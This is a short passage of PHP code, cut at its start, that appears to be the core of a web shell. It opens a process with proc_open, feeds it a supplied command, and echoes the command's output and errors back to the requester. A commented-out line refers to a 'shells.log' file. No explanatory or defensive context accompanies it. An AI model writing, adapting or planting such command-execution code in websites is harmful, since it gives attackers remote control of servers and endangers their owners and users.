array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); //WWW_ROOT. '/../tmp/shells.log', 'a')); // TODO: configurable PWD. $proc = proc_open($exec, $fds, $pipes, WWW_ROOT, $env); if(is_resource($proc)){ fwrite($pipes[0], $cmd); fflush($pipes[0]); fclose($pipes[0]); $sout = stream_get_contents($pipes[1]); $serr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $ret = proc_close($proc); echo $sout. $serr; } ?>